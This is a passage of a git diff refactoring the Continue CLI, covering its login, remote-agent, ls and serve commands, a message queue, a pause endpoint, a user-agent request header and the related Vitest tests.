+Please create both the AGENTS.md file and the .continue/rules/review.md file using the Write tool after analyzing the repository. Focus on providing actionable information that would help both AI agents and human developers understand and work effectively with this codebase. Keep the files concise but informational.`;
}
export async function handleInit(
diff --git a/extensions/cli/src/commands/login.ts b/extensions/cli/src/commands/login.ts
index a1c6cc4f8..e5abf3136 100644
--- a/extensions/cli/src/commands/login.ts
+++ b/extensions/cli/src/commands/login.ts
@@ -3,12 +3,18 @@ import chalk from "chalk";
import { login as workosLogin } from "../auth/workos.js";
import { gracefulExit } from "../util/exit.js";
+import { chat } from "./chat.js";
+
export async function login() {
console.info(chalk.yellow("Logging in to Continue..."));
try {
await workosLogin();
console.info(chalk.green("Successfully logged in!"));
+
+ // Start the CLI session after successful login
+ console.info(chalk.blue("Starting Continue CLI..."));
+ await chat();
} catch (error: any) {
console.error(chalk.red(`Login failed: ${error.message}`));
await gracefulExit(1);
diff --git a/extensions/cli/src/commands/ls.ts b/extensions/cli/src/commands/ls.ts
index 2e06a4f5a..529c711b8 100644
--- a/extensions/cli/src/commands/ls.ts
+++ b/extensions/cli/src/commands/ls.ts
@@ -1,10 +1,9 @@
import { render } from "ink";
import React from "react";
-import { getAccessToken, loadAuthConfig } from "../auth/workos.js";
-import { env } from "../env.js";
import { listSessions, loadSessionById } from "../session.js";
import { SessionSelector } from "../ui/SessionSelector.js";
+import { ApiRequestError, post } from "../util/apiClient.js";
import { logger } from "../util/logger.js";
import { chat } from "./chat.js";
@@ -27,23 +26,19 @@ function setSessionId(sessionId: string): void {
}
export async function getTunnelForAgent(agentId: string): Promise {
- const authConfig = loadAuthConfig();
- const accessToken = getAccessToken(authConfig);
-
- const resp = await fetch(`${env.apiBase}agents/devboxes/${agentId}/tunnel`, {
- method: "POST",
- headers: {
- "Content-Type": "application/json",
- Authorization: `Bearer ${accessToken}`,
- },
- });
- if (!resp.ok) {
- throw new Error(
- `Failed to get tunnel for agent ${agentId}: ${await resp.text()}`,
+ try {
+ const response = await post<{ url: string }>(
+ `agents/${encodeURIComponent(agentId)}/tunnel`,
);
+ return response.data.url;
+ } catch (error) {
+ if (error instanceof ApiRequestError) {
+ throw new Error(
+ `Failed to get tunnel for agent ${agentId}: ${error.response || error.statusText}`,
+ );
+ }
+ throw error;
}
- const data = await resp.json();
- return data.url;
}
/**
diff --git a/extensions/cli/src/commands/remote.test.ts b/extensions/cli/src/commands/remote.test.ts
index e14e7105d..9a9c9f3f5 100644
--- a/extensions/cli/src/commands/remote.test.ts
+++ b/extensions/cli/src/commands/remote.test.ts
@@ -8,11 +8,13 @@ vi.mock("../env.js");
vi.mock("../telemetry/telemetryService.js");
vi.mock("../ui/index.js");
vi.mock("../util/git.js");
+vi.mock("../util/exit.js");
const mockWorkos = vi.mocked(await import("../auth/workos.js"));
const mockEnv = vi.mocked(await import("../env.js"));
const mockGit = vi.mocked(await import("../util/git.js"));
const mockStartRemoteTUIChat = vi.mocked(await import("../ui/index.js"));
+const mockExit = vi.mocked(await import("../util/exit.js"));
// Mock fetch globally
const mockFetch = vi.fn();
@@ -62,6 +64,10 @@ describe("remote command", () => {
mockFetch.mockResolvedValue({
ok: true,
+ headers: {
+ get: (name: string) =>
+ name === "content-type" ? "application/json" : null,
+ },
json: async () => ({
id: "test-agent-id",
url: "ws://test-url.com",
@@ -70,6 +76,9 @@ describe("remote command", () => {
});
mockStartRemoteTUIChat.startRemoteTUIChat.mockResolvedValue({} as any);
+
+ // Mock gracefulExit to prevent process.exit during tests
+ mockExit.gracefulExit.mockResolvedValue(undefined);
});
it("should include idempotency key in request body when provided", async () => {
@@ -78,7 +87,7 @@ describe("remote command", () => {
await remote("test prompt", { idempotencyKey: testIdempotencyKey });
expect(mockFetch).toHaveBeenCalledWith(
- new URL("agents/devboxes", mockEnv.env.apiBase),
+ new URL("agents", mockEnv.env.apiBase),
expect.objectContaining({
method: "POST",
headers: {
@@ -96,7 +105,7 @@ describe("remote command", () => {
await remote("test prompt", {});
expect(mockFetch).toHaveBeenCalledWith(
- new URL("agents/devboxes", mockEnv.env.apiBase),
+ new URL("agents", mockEnv.env.apiBase),
expect.objectContaining({
method: "POST",
headers: {
@@ -145,6 +154,89 @@ describe("remote command", () => {
expect(mockConsoleLog).not.toHaveBeenCalled();
});
+ it("should fetch tunnel and connect when id option is provided", async () => {
+ const agentId = "agent-789";
+
+ mockFetch
+ .mockResolvedValueOnce({
+ ok: true,
+ headers: {
+ get: (name: string) =>
+ name === "content-type" ? "application/json" : null,
+ },
+ json: async () => ({ url: "ws://tunnel-url.com", port: 9090 }),
+ })
+ .mockResolvedValue({
+ ok: true,
+ headers: {
+ get: (name: string) =>
+ name === "content-type" ? "application/json" : null,
+ },
+ json: async () => ({
+ id: "test-agent-id",
+ url: "ws://test-url.com",
+ port: 8080,
+ }),
+ });
+
+ await remote("test prompt", { id: agentId });
+
+ expect(mockFetch).toHaveBeenCalledWith(
+ new URL(`agents/${agentId}/tunnel`, mockEnv.env.apiBase),
+ expect.objectContaining({
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ Authorization: "Bearer test-token",
+ },
+ }),
+ );
+
+ expect(mockStartRemoteTUIChat.startRemoteTUIChat).toHaveBeenCalledWith(
+ "ws://tunnel-url.com",
+ "test prompt",
+ );
+ });
+
+ it("should output JSON without starting TUI when using --id with --start", async () => {
+ const agentId = "agent-456";
+ const tunnelResponse = { url: "ws://existing-tunnel.com", port: 7070 };
+
+ mockFetch.mockResolvedValueOnce({
+ ok: true,
+ headers: {
+ get: (name: string) =>
+ name === "content-type" ? "application/json" : null,
+ },
+ json: async () => tunnelResponse,
+ });
+
+ await remote("test prompt", { id: agentId, start: true });
+
+ expect(mockFetch).toHaveBeenCalledWith(
+ new URL(`agents/${agentId}/tunnel`, mockEnv.env.apiBase),
+ expect.objectContaining({
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ Authorization: "Bearer test-token",
+ },
+ }),
+ );
+
+ expect(mockStartRemoteTUIChat.startRemoteTUIChat).not.toHaveBeenCalled();
+ expect(mockConsoleLog).toHaveBeenCalledWith(
+ JSON.stringify({
+ status: "success",
+ message: "Remote agent tunnel connection details",
+ url: tunnelResponse.url,
+ containerPort: tunnelResponse.port,
+ agentId,
+ mode: "existing_agent",
+ }),
+ );
+ });
+
it("should handle proper request body structure with all fields", async () => {
const testIdempotencyKey = "structured-test-key";
@@ -190,7 +282,7 @@ describe("remote command", () => {
await remote("test prompt", { branch: testBranch });
expect(mockFetch).toHaveBeenCalledWith(
- new URL("agents/devboxes", mockEnv.env.apiBase),
+ new URL("agents", mockEnv.env.apiBase),
expect.objectContaining({
method: "POST",
headers: {
@@ -206,7 +298,7 @@ describe("remote command", () => {
await remote("test prompt", {});
expect(mockFetch).toHaveBeenCalledWith(
- new URL("agents/devboxes", mockEnv.env.apiBase),
+ new URL("agents", mockEnv.env.apiBase),
expect.objectContaining({
method: "POST",
headers: {
@@ -247,7 +339,7 @@ describe("remote command", () => {
await remote("test prompt", { config: testConfig });
expect(mockFetch).toHaveBeenCalledWith(
- new URL("agents/devboxes", mockEnv.env.apiBase),
+ new URL("agents", mockEnv.env.apiBase),
expect.objectContaining({
method: "POST",
headers: {
@@ -259,9 +351,34 @@ describe("remote command", () => {
);
expect(mockFetch).toHaveBeenCalledWith(
- new URL("agents/devboxes", mockEnv.env.apiBase),
+ new URL("agents", mockEnv.env.apiBase),
expect.objectContaining({
- body: expect.stringContaining(`"agent":"${testConfig}"`),
+ body: expect.stringContaining(`"config":"${testConfig}"`),
+ }),
+ );
+ });
+
+ it("should include agent in request body when agent option is provided", async () => {
+ const testAgent = "test-agent";
+
+ await remote("test prompt", { agent: testAgent });
+
+ expect(mockFetch).toHaveBeenCalledWith(
+ new URL("agents", mockEnv.env.apiBase),
+ expect.objectContaining({
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ Authorization: "Bearer test-token",
+ },
+ body: expect.stringContaining(`"agent":"${testAgent}"`),
+ }),
+ );
+
+ expect(mockFetch).toHaveBeenCalledWith(
+ new URL("agents", mockEnv.env.apiBase),
+ expect.objectContaining({
+ body: expect.stringContaining(`"agent":"${testAgent}"`),
}),
);
});
@@ -283,11 +400,31 @@ describe("remote command", () => {
name: expect.stringMatching(/^devbox-\d+$/),
prompt: "test prompt",
idempotencyKey: testIdempotencyKey,
- agent: testConfig,
config: testConfig,
});
});
+ it("should handle proper request body structure with agent field", async () => {
+ const testAgent = "my-agent";
+ const testIdempotencyKey = "test-with-config";
+
+ await remote("test prompt", {
+ agent: testAgent,
+ idempotencyKey: testIdempotencyKey,
+ });
+
+ const fetchCall = mockFetch.mock.calls[0];
+ const requestBody = JSON.parse(fetchCall[1].body);
+
+ expect(requestBody).toEqual({
+ repoUrl: "https://github.com/user/test-repo.git",
+ name: expect.stringMatching(/^devbox-\d+$/),
+ prompt: "test prompt",
+ idempotencyKey: testIdempotencyKey,
+ agent: testAgent,
+ });
+ });
+
it("should not include config in request body when config option is not provided", async () => {
await remote("test prompt", {});
@@ -298,10 +435,10 @@ describe("remote command", () => {
repoUrl: "https://github.com/user/test-repo.git",
name: expect.stringMatching(/^devbox-\d+$/),
prompt: "test prompt",
- idempotencyKey: undefined,
agent: undefined,
config: undefined,
});
+ expect(requestBody).not.toHaveProperty("idempotencyKey");
});
describe("start mode (-s / --start flag)", () => {
@@ -332,7 +469,7 @@ describe("remote command", () => {
// Should make POST request to create environment
expect(mockFetch).toHaveBeenCalledWith(
- new URL("agents/devboxes", mockEnv.env.apiBase),
+ new URL("agents", mockEnv.env.apiBase),
expect.objectContaining({
method: "POST",
headers: {
diff --git a/extensions/cli/src/commands/remote.ts b/extensions/cli/src/commands/remote.ts
index f81a2d060..040afa1b1 100644
--- a/extensions/cli/src/commands/remote.ts
+++ b/extensions/cli/src/commands/remote.ts
@@ -1,163 +1,227 @@
import chalk from "chalk";
-import { getAccessToken, loadAuthConfig } from "../auth/workos.js";
import { env } from "../env.js";
import { telemetryService } from "../telemetry/telemetryService.js";
import { startRemoteTUIChat } from "../ui/index.js";
+import {
+ ApiRequestError,
+ AuthenticationRequiredError,
+ post,
+} from "../util/apiClient.js";
import { gracefulExit } from "../util/exit.js";
import { getRepoUrl } from "../util/git.js";
import { logger } from "../util/logger.js";
import { readStdinSync } from "../util/stdin.js";
+type RemoteCommandOptions = {
+ url?: string;
+ id?: string;
+ idempotencyKey?: string;
+ start?: boolean;
+ branch?: string;
+ repo?: string;
+ config?: string;
+ agent?: string;
+};
+
+type TunnelResponse = {
+ url: string;
+ port?: number;
+};
+
+type AgentCreationResponse = TunnelResponse & {
+ id: string;
+};
+
export async function remote(
prompt: string | undefined,
- options: {
- url?: string;
- idempotencyKey?: string;
- start?: boolean;
- branch?: string;
- repo?: string;
- config?: string;
- } = {},
+ options: RemoteCommandOptions = {},
) {
- // Check if prompt should come from stdin instead of parameter
- let actualPrompt = prompt;
- if (prompt) {
- // If prompt is provided, still check for stdin and combine them
- const stdinInput = readStdinSync();
- if (stdinInput) {
- // Combine stdin and prompt argument - stdin comes first in XML block
- actualPrompt = `\n${stdinInput}\n \n\n${prompt}`;
- }
- } else {
- // Try to read from stdin (for piped input like: echo "hello" | cn remote -s)
- const stdinInput = readStdinSync();
- if (stdinInput) {
- actualPrompt = stdinInput;
- }
- }
- // If --url is provided, connect directly to that URL
- if (options.url) {
- if (options.start) {
- // In start mode, output connection details as JSON and exit
- console.log(
- JSON.stringify({
- status: "success",
- message: "Remote environment connection details",
- url: options.url,
- mode: "direct_url",
- }),
- );
+ const actualPrompt = resolvePrompt(prompt);
+
+ try {
+ if (options.url) {
+ await connectToRemoteUrl(options.url, actualPrompt, options.start);
return;
}
- console.info(
- chalk.white(`Connecting to remote environment at: ${options.url}`),
- );
-
- // Record session start
- telemetryService.recordSessionStart();
- telemetryService.startActiveTime();
-
- try {
- // Start the TUI in remote mode
- await startRemoteTUIChat(options.url, actualPrompt);
- } finally {
- telemetryService.stopActiveTime();
+ if (options.id) {
+ await connectExistingAgent(options.id, actualPrompt, options.start);
+ return;
}
+
+ await createAndConnectRemoteEnvironment(actualPrompt, options);
+ } catch (error) {
+ await handleRemoteError(error);
+ }
+}
+
+function resolvePrompt(prompt: string | undefined): string | undefined {
+ const stdinInput = readStdinSync();
+
+ if (!stdinInput) {
+ return prompt;
+ }
+
+ if (!prompt) {
+ return stdinInput;
+ }
+
+ return `\n${stdinInput}\n \n\n${prompt}`;
+}
+
+async function connectToRemoteUrl(
+ remoteUrl: string,
+ prompt: string | undefined,
+ startOnly?: boolean,
+) {
+ if (startOnly) {
+ printStartJson({
+ status: "success",
+ message: "Remote environment connection details",
+ url: remoteUrl,
+ mode: "direct_url",
+ });
return;
}
- try {
- const authConfig = loadAuthConfig();
+ console.info(
+ chalk.white(`Connecting to remote environment at: ${remoteUrl}`),
+ );
+ await launchRemoteTUI(remoteUrl, prompt);
+}
- // Check if we have any valid authentication (file-based or environment variable)
- if (!authConfig || !getAccessToken(authConfig)) {
- console.error(
- chalk.red("Not authenticated. Please run 'cn login' first."),
- );
- await gracefulExit(1);
- }
+async function connectExistingAgent(
+ agentId: string,
+ prompt: string | undefined,
+ startOnly?: boolean,
+) {
+ const tunnel = await fetchAgentTunnel(agentId);
- const accessToken = getAccessToken(authConfig);
-
- const requestBody: any = {
- repoUrl: options.repo || getRepoUrl(),
- name: `devbox-${Date.now()}`,
- prompt: actualPrompt,
- idempotencyKey: options.idempotencyKey,
- agent: options.config,
- config: options.config,
- };
-
- // Add branchName to request body if branch option is provided
- if (options.branch) {
- requestBody.branchName = options.branch;
- }
-
- const response = await fetch(new URL("agents/devboxes", env.apiBase), {
- method: "POST",
- headers: {
- "Content-Type": "application/json",
- Authorization: `Bearer ${accessToken}`,
- },
- body: JSON.stringify(requestBody),
+ if (startOnly) {
+ printStartJson({
+ status: "success",
+ message: "Remote agent tunnel connection details",
+ url: tunnel.url,
+ containerPort: tunnel.port,
+ agentId,
+ mode: "existing_agent",
});
+ return;
+ }
- if (!response.ok) {
- const errorText = await response.text();
+ console.info(
+ chalk.white(`Connecting to remote agent tunnel at: ${tunnel.url}`),
+ );
+ await launchRemoteTUI(tunnel.url, prompt);
+}
+
+async function createAndConnectRemoteEnvironment(
+ prompt: string | undefined,
+ options: RemoteCommandOptions,
+) {
+ const requestBody = buildAgentRequestBody(options, prompt);
+
+ let result: AgentCreationResponse;
+ try {
+ const response = await post("agents", requestBody);
+ result = response.data;
+ } catch (error) {
+ if (error instanceof ApiRequestError) {
throw new Error(
- `Failed to create remote environment: ${response.status} ${errorText}`,
+ `Failed to create remote environment: ${error.status} ${error.response || error.statusText}`,
);
}
+ throw error;
+ }
- const result = await response.json();
+ if (options.start) {
+ printStartJson({
+ status: "success",
+ message: "Remote development environment created successfully",
+ url: `${env.appUrl}/agents/${result.id}`,
+ containerUrl: result.url,
+ containerPort: result.port,
+ name: requestBody.name,
+ mode: "new_environment",
+ });
+ return;
+ }
- if (options.start) {
- // In start mode, output connection details as JSON and exit
- console.log(
- JSON.stringify({
- status: "success",
- message: "Remote development environment created successfully",
- url: `${env.appUrl}/agents/${result.id}`,
- containerUrl: result.url,
- containerPort: result.port,
- name: requestBody.name,
- mode: "new_environment",
- }),
- );
- return;
- }
+ console.info(
+ chalk.green("✅ Remote development environment created successfully!"),
+ );
- console.info(
- chalk.green("✅ Remote development environment created successfully!"),
- );
+ if (!result.url) {
+ throw new Error("No URL returned from remote environment creation");
+ }
- if (result.url && result.port) {
- const remoteUrl = result.url;
- console.info(
- chalk.white(`Connecting to remote environment at: ${remoteUrl}`),
- );
+ console.info(
+ chalk.white(`Connecting to remote environment at: ${result.url}`),
+ );
+ await launchRemoteTUI(result.url, prompt);
+}
- // Record session start
- telemetryService.recordSessionStart();
- telemetryService.startActiveTime();
+function buildAgentRequestBody(
+ options: RemoteCommandOptions,
+ prompt: string | undefined,
+) {
+ const body: Record = {
+ repoUrl: options.repo ?? getRepoUrl(),
+ name: `devbox-${Date.now()}`,
+ prompt,
+ agent: options.agent,
+ config: options.config,
+ };
- try {
- // Start the TUI in remote mode (prompt is optional)
- await startRemoteTUIChat(remoteUrl, actualPrompt);
- } finally {
- telemetryService.stopActiveTime();
- }
- } else {
+ if (options.idempotencyKey) {
+ body.idempotencyKey = options.idempotencyKey;
+ }
+
+ if (options.branch) {
+ body.branchName = options.branch;
+ }
+
+ return body;
+}
+
+async function fetchAgentTunnel(agentId: string) {
+ try {
+ const response = await post(`agents/${agentId}/tunnel`);
+ return response.data;
+ } catch (error) {
+ if (error instanceof ApiRequestError) {
throw new Error(
- "No URL or port returned from remote environment creation",
+ `Failed to create tunnel for agent ${agentId}: ${error.status} ${error.response || error.statusText}`,
);
}
- } catch (error: any) {
- logger.error(
- chalk.red(`Failed to create remote environment: ${error.message}`),
- );
- await gracefulExit(1);
+ throw error;
}
}
+
+async function launchRemoteTUI(remoteUrl: string, prompt: string | undefined) {
+ telemetryService.recordSessionStart();
+ telemetryService.startActiveTime();
+
+ try {
+ await startRemoteTUIChat(remoteUrl, prompt);
+ } finally {
+ telemetryService.stopActiveTime();
+ }
+}
+
+function printStartJson(payload: Record) {
+ console.log(JSON.stringify(payload));
+}
+
+async function handleRemoteError(error: unknown) {
+ if (error instanceof AuthenticationRequiredError) {
+ logger.error(chalk.red(error.message));
+ } else if (error instanceof Error) {
+ logger.error(chalk.red(error.message));
+ } else {
+ logger.error(chalk.red("An unknown error occurred while starting remote"));
+ }
+
+ await gracefulExit(1);
+}
diff --git a/extensions/cli/src/commands/serve.helpers.ts b/extensions/cli/src/commands/serve.helpers.ts
index 82ca902ea..51db4d9d0 100644
--- a/extensions/cli/src/commands/serve.helpers.ts
+++ b/extensions/cli/src/commands/serve.helpers.ts
@@ -119,9 +119,7 @@ export interface ServerState {
model: any;
isProcessing: boolean;
lastActivity: number;
- messageQueue: string[];
currentAbortController: AbortController | null;
- shouldInterrupt: boolean;
serverRunning: boolean;
pendingPermission: PendingPermission | null;
systemMessage?: string;
diff --git a/extensions/cli/src/commands/serve.ts b/extensions/cli/src/commands/serve.ts
index d554230e6..5f78155b2 100644
--- a/extensions/cli/src/commands/serve.ts
+++ b/extensions/cli/src/commands/serve.ts
@@ -2,7 +2,12 @@ import chalk from "chalk";
import type { ChatHistoryItem } from "core/index.js";
import express, { Request, Response } from "express";
+import { ToolPermissionServiceState } from "src/services/ToolPermissionService.js";
+import { posthogService } from "src/telemetry/posthogService.js";
+import { prependPrompt } from "src/util/promptProcessor.js";
+
import { getAccessToken, getAssistantSlug } from "../auth/workos.js";
+import { runEnvironmentInstallSafe } from "../environment/environmentHandler.js";
import { processCommandFlags } from "../flags/flagProcessor.js";
import { toolPermissionManager } from "../permissions/permissionManager.js";
import {
@@ -12,11 +17,13 @@ import {
services,
} from "../services/index.js";
import {
+ AgentFileServiceState,
AuthServiceState,
ConfigServiceState,
ModelServiceState,
} from "../services/types.js";
-import { createSession, getSessionPersistenceSnapshot } from "../session.js";
+import { createSession, getCompleteStateSnapshot } from "../session.js";
+import { messageQueue } from "../stream/messageQueue.js";
import { constructSystemMessage } from "../systemMessage.js";
import { telemetryService } from "../telemetry/telemetryService.js";
import { gracefulExit } from "../util/exit.js";
@@ -40,6 +47,8 @@ interface ServeOptions extends ExtendedCommandOptions {
// eslint-disable-next-line max-statements
export async function serve(prompt?: string, options: ServeOptions = {}) {
+ await posthogService.capture("sessionStart", {});
+
// Check if prompt should come from stdin instead of parameter
let actualPrompt = prompt;
if (!prompt) {
@@ -54,6 +63,8 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
const timeoutMs = timeoutSeconds * 1000;
const port = parseInt(options.port || "8000", 10);
+ // Environment install script will be deferred until after server startup to avoid blocking
+
// Initialize services with tool permission overrides
const { permissionOverrides } = processCommandFlags(options);
@@ -64,10 +75,13 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
});
// Get initialized services from the service container
- const [configState, modelState] = await Promise.all([
- getService(SERVICE_NAMES.CONFIG),
- getService(SERVICE_NAMES.MODEL),
- ]);
+ const [configState, modelState, permissionsState, agentFileState] =
+ await Promise.all([
+ getService(SERVICE_NAMES.CONFIG),
+ getService(SERVICE_NAMES.MODEL),
+ getService(SERVICE_NAMES.TOOL_PERMISSIONS),
+ getService(SERVICE_NAMES.AGENT_FILE),
+ ]);
if (!configState.config || !modelState.llmApi || !modelState.model) {
throw new Error("Failed to initialize required services");
@@ -109,6 +123,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
// Initialize session with system message
const systemMessage = await constructSystemMessage(
+ permissionsState.currentMode,
options.rule,
undefined,
true,
@@ -138,9 +153,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
model,
isProcessing: false,
lastActivity: Date.now(),
- messageQueue: [],
currentAbortController: null,
- shouldInterrupt: false,
serverRunning: true,
pendingPermission: null,
};
@@ -160,7 +173,13 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
storageOption: options.id,
accessToken,
syncSessionHistory,
- getSessionSnapshot: () => getSessionPersistenceSnapshot(state.session),
+ getCompleteStateSnapshot: () =>
+ getCompleteStateSnapshot(
+ state.session,
+ state.isProcessing,
+ messageQueue.getQueueLength(),
+ state.pendingPermission,
+ ),
isActive: () => state.serverRunning,
});
@@ -182,12 +201,13 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
app.get("/state", (_req: Request, res: Response) => {
state.lastActivity = Date.now();
syncSessionHistory();
- res.json({
- session: state.session, // Return session directly instead of converting
- isProcessing: state.isProcessing,
- messageQueueLength: state.messageQueue.length,
- pendingPermission: state.pendingPermission,
- });
+ const stateSnapshot = getCompleteStateSnapshot(
+ state.session,
+ state.isProcessing,
+ messageQueue.getQueueLength(),
+ state.pendingPermission,
+ );
+ res.json(stateSnapshot);
});
// POST /message - Queue a message and potentially interrupt
@@ -200,17 +220,11 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
}
// Queue the message
- state.messageQueue.push(message);
-
- // If currently processing, set interrupt flag
- if (state.isProcessing && state.currentAbortController) {
- state.shouldInterrupt = true;
- }
+ await messageQueue.enqueueMessage(message);
res.json({
queued: true,
- position: state.messageQueue.length,
- willInterrupt: state.shouldInterrupt,
+ position: messageQueue.getQueueLength(),
});
// Process messages if not already processing
@@ -252,6 +266,32 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
});
});
+ // POST /pause - Pause the current agent run (like pressing escape in TUI)
+ app.post("/pause", async (_req: Request, res: Response) => {
+ state.lastActivity = Date.now();
+
+ // Check if there's anything to pause
+ if (!state.isProcessing) {
+ return res.json({
+ success: false,
+ message: "No active processing to pause",
+ });
+ }
+
+ // Abort the current processing
+ if (state.currentAbortController) {
+ state.currentAbortController.abort();
+ }
+
+ // Set isProcessing to false
+ state.isProcessing = false;
+
+ res.json({
+ success: true,
+ message: "Agent run paused",
+ });
+ });
+
// GET /diff - Return git diff against main branch
app.get("/diff", async (_req: Request, res: Response) => {
state.lastActivity = Date.now();
@@ -303,9 +343,6 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
state.currentAbortController.abort();
}
- // Clear the message queue
- state.messageQueue = [];
-
// Clean up intervals
if (inactivityChecker) {
clearInterval(inactivityChecker);
@@ -325,7 +362,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
setTimeout(handleExitResponse, 100);
});
- const server = app.listen(port, () => {
+ const server = app.listen(port, async () => {
console.log(chalk.green(`Server started on http://localhost:${port}`));
console.log(chalk.dim("Endpoints:"));
console.log(chalk.dim(" GET /state - Get current agent state"));
@@ -339,6 +376,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
" POST /permission - Approve/reject tool (body: { requestId, approved })",
),
);
+ console.log(chalk.dim(" POST /pause - Pause the current agent run"));
console.log(
chalk.dim(" GET /diff - Get git diff against main branch"),
);
@@ -351,10 +389,17 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
),
);
+ // Run environment install script after server startup
+ runEnvironmentInstallSafe();
+
// If initial prompt provided, queue it for processing
- if (actualPrompt) {
+ const initialPrompt = prependPrompt(
+ agentFileState?.agentFile?.prompt,
+ actualPrompt,
+ );
+ if (initialPrompt) {
console.log(chalk.dim("\nProcessing initial prompt..."));
- state.messageQueue.push(actualPrompt);
+ await messageQueue.enqueueMessage(initialPrompt);
processMessages(state, llmApi);
}
});
@@ -382,11 +427,17 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
}
async function processMessages(state: ServerState, llmApi: any) {
- while (state.messageQueue.length > 0 && state.serverRunning) {
- const userMessage = state.messageQueue.shift()!;
+ let processedMessage = false;
+ while (state.serverRunning) {
+ const queuedMessage = messageQueue.getNextMessage();
+ if (!queuedMessage) {
+ break;
+ }
+
+ const userMessage = queuedMessage.message;
state.isProcessing = true;
- state.shouldInterrupt = false;
state.lastActivity = Date.now();
+ processedMessage = true;
// Add user message via ChatHistoryService (single source of truth)
try {
@@ -408,7 +459,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
state,
llmApi,
state.currentAbortController,
- () => state.shouldInterrupt,
+ () => false,
);
// No direct persistence here; ChatHistoryService handles persistence when appropriate
@@ -437,6 +488,14 @@ export async function serve(prompt?: string, options: ServeOptions = {}) {
state.isProcessing = false;
}
}
+
+ if (
+ processedMessage &&
+ state.serverRunning &&
+ messageQueue.getQueueLength() === 0
+ ) {
+ await storageSyncService.markAgentStatusUnread();
+ }
}
// Check for inactivity and shutdown
diff --git a/extensions/cli/src/config.ts b/extensions/cli/src/config.ts
index 6c97767bc..f26e1de2c 100644
--- a/extensions/cli/src/config.ts
+++ b/extensions/cli/src/config.ts
@@ -7,7 +7,6 @@ import {
import {
Configuration,
DefaultApi,
- DefaultApiInterface,
} from "@continuedev/sdk/dist/api/dist/index.js";
import {
@@ -15,9 +14,33 @@ import {
getAccessToken,
getOrganizationId,
} from "./auth/workos.js";
-import { loadConfiguration } from "./configLoader.js";
import { env } from "./env.js";
-import { MCPService } from "./services/MCPService.js";
+import { posthogService } from "./telemetry/posthogService.js";
+import { getVersion } from "./version.js";
+
+/**
+ * Creates user-agent header value for CLI requests
+ */
+function getUserAgent(): string {
+ const version = getVersion();
+ return `Continue-CLI/${version}`;
+}
+
+/**
+ * Merges user-agent header into request options
+ */
+function mergeUserAgentIntoRequestOptions(
+ requestOptions: ModelConfig["requestOptions"],
+): ModelConfig["requestOptions"] {
+ return {
+ ...requestOptions,
+ headers: {
+ ...requestOptions?.headers,
+ "user-agent": getUserAgent(),
+ "x-continue-unique-id": posthogService.uniqueId,
+ },
+ };
+}
/**
* Creates an LLM API instance from a ModelConfig and auth configuration
@@ -34,7 +57,9 @@ export function createLlmApi(
model.provider === "continue-proxy"
? {
provider: model.provider,
- requestOptions: model.requestOptions,
+ requestOptions: mergeUserAgentIntoRequestOptions(
+ model.requestOptions,
+ ),
apiBase: model.apiBase,
apiKey: accessToken ?? undefined,
env: {
@@ -42,7 +67,7 @@ export function createLlmApi(
orgScopeId: organizationId ?? null,
proxyUrl:
(model as { onPremProxyUrl: string | undefined })
- .onPremProxyUrl ?? undefined,
+ .onPremProxyUrl ?? (env.apiBase ? env.apiBase : undefined),
},
}
: {
@@ -96,23 +121,3 @@ export function getApiClient(
}),
);
}
-
-export async function initialize(
- authConfig: AuthConfig,
- configPath: string | undefined,
-): Promise<{
- config: AssistantUnrolled;
- llmApi: BaseLlmApi;
- model: ModelConfig;
- mcpService: MCPService;
- apiClient: DefaultApiInterface;
-}> {
- const apiClient = getApiClient(authConfig?.accessToken);
- const result = await loadConfiguration(authConfig, configPath, apiClient);
- const config = result.config;
- const [llmApi, model] = getLlmApi(config, authConfig);
- const mcpService = new MCPService();
- await mcpService.initialize(config, false);
-
- return { config, llmApi, model, mcpService, apiClient };
-}
diff --git a/extensions/cli/src/configEnhancer.test.ts b/extensions/cli/src/configEnhancer.test.ts
deleted file mode 100644
index bbee50c0b..000000000
--- a/extensions/cli/src/configEnhancer.test.ts
+++ /dev/null
@@ -1,202 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-import { BaseCommandOptions } from "./commands/BaseCommandOptions.js";
-import { ConfigEnhancer } from "./configEnhancer.js";
-
-// Mock processRule to simulate hub loading
-vi.mock("./hubLoader.js", () => ({
- processRule: vi.fn((rule: string) => {
- // Simulate hub slug loading
- if (rule.includes("/") && !rule.startsWith(".") && !rule.startsWith("/")) {
- return Promise.resolve(`Content for ${rule}`);
- }
- // Return as-is for direct content
- return Promise.resolve(rule);
- }),
- loadPackagesFromHub: vi.fn(() => Promise.resolve([])),
- mcpProcessor: {},
- modelProcessor: {},
-}));
-
-describe("ConfigEnhancer", () => {
- let enhancer: ConfigEnhancer;
- let mockConfig: any;
-
- beforeEach(() => {
- enhancer = new ConfigEnhancer();
- mockConfig = {
- name: "test-config",
- version: "1.0.0",
- models: [],
- mcpServers: [],
- } as any;
- vi.clearAllMocks();
- });
-
- it("should return unchanged config when no enhancements provided", async () => {
- const config = await enhancer.enhanceConfig(mockConfig, {});
-
- expect(config).toEqual(mockConfig);
- });
-
- it("should apply rules enhancement", async () => {
- const options: BaseCommandOptions = {
- rule: ["test-rule"],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
- expect(config.rules).toEqual(["test-rule"]);
- });
-
- it("should apply multiple enhancements", async () => {
- const options: BaseCommandOptions = {
- rule: ["rule1", "rule2"],
- mcp: [],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
- expect(config.rules).toEqual(["rule1", "rule2"]);
- });
-
- it("should preserve existing rules when adding new ones", async () => {
- mockConfig.rules = ["existing rule"];
- const options: BaseCommandOptions = {
- rule: ["new rule"],
- };
-
- const config = await enhancer.enhanceConfig(mockConfig, options);
-
